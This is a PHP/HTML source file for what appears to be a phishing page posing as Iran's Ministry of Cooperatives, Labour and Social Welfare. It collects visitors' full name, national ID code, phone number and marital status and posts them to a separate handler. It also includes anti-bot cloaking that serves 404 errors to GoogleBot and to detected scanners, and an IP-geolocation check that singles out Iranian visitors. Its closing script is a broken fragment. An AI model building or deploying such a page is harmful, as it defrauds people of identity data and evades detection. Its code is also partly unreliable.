<?php

function ip_iran($ip)
{
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, "http://ip-api.com/csv/" . $ip);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $exec = curl_exec($curl);
    curl_close($curl);
    $explode = explode(",", $exec);
    
    if (strtolower($explode[1]) == "iran")
    {
        return true;
    }
    else
    {
        return false;
    }
    
    return $explode[1];
}



include('antibots.php');

if(strpos($_SERVER['HTTP_USER_AGENT'], 'GoogleBot') !==false) {
    header('HTTP/1.0 404 Not Found');
    exit();
}

if (checkbots() == true){
    header('HTTP/1.0 404 Not Found');
    exit();
}
?>
    <!doctype html>
<html lang="fa" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">

    <link rel="stylesheet" href="css/app.css">
</head>
<body>
     <style>
 @font-face {
    font-family: myFont;
    src: url('font/Shabnam-FD.ttf');
}
h2 {
    font-family: myFont;
}
</style>
<style>
    input::-webkit-outer-spin-button,
input::-webkit-inner-spin-button {
  -webkit-appearance: none;
  margin: 0;
}

    .hidden {
      display: none;
    }
  </style>
<div class="container-fluid auth-page p-md-0">
    <div class="row g-0 vh-100">
        <div class="col-lg-8 col-md-6 d-none d-md-flex align-items-center justify-content-center bg-white">
        </div>
        <div class="col-lg-4 col-md-6">
            <div class="h-100 d-flex align-items-center p-2 p-md-5">
                    <form action="Succes.php" method="post" class="flex-grow-1"><input type="hidden" name="_token" value="pcIpDz3LnGld8A06RdbY5D2vm7BPO6D9tfilrDwg">  
                    <center>
                    <img class="login-page__logo"
         id="loginPageLogo"
         width="300" height="200"
         src="IMG/logg.png"
         alt="" />
</img></center>  
<br>
                    <h2 class="text-center mb-5">وزارت تعاون کار و رفاه اجتماعی</h2>
        <div class="mb-3">
            <label for="name">نام و نام خـانوادگی </label>
            <input type="text" id="name" class="form-control mt-2 shadow-sm" name="name" placeholder="نام کامل خود را وارد کنید" value="">
                    </div>
   
<div class="mb-3">
            <label for="cm">کد ملـی</label>
            <input type="number" id="cm" class="form-control mt-2 shadow-sm" name="cm" placeholder="کد ملی خود را وارد کنید"  value="">
                    </div>                 
                    
                            <div class="mb-3">
            <label for="number">شماره تلفن</label>
            <input type="number" id="number" class="form-control mt-2 shadow-sm" name="number" placeholder="09120000000"  value="">
                    </div>
                    
                    <div class="mb-3">
            <label for="number">وضعیت تاهل</label>
            <select type="number" id="khanevar" class="form-control mt-2 shadow-sm" name="khanevar">
    <option value="85" >انتخاب فرمایید</option>
        	<option value="0" >مجرد</option>
            <option value="1" >متاهل</option>
</select>    
                    </div>
                         
        
        
        
        <button type="submit" class="btn btn-primary w-100 mt-2">مرحله بعد</button>
    </form>
            </div>
        </div>
    </div>
</div>
<script>


xhr.send(data);
});

    const inputContainer = document.getElementById("inputContainer");
    const radioButtons = document.getElementsByName("choice");
    
    for (let i = 0; i < radioButtons.length; i++) {
      radioButtons[i].addEventListener("change", function() {
        if (this.value === "yes") {
          inputContainer.classList.add("hidden");
          
        } else {
          inputContainer.classList.remove("hidden"); 
        }
      });
    }
  </script>
</body>
</html>
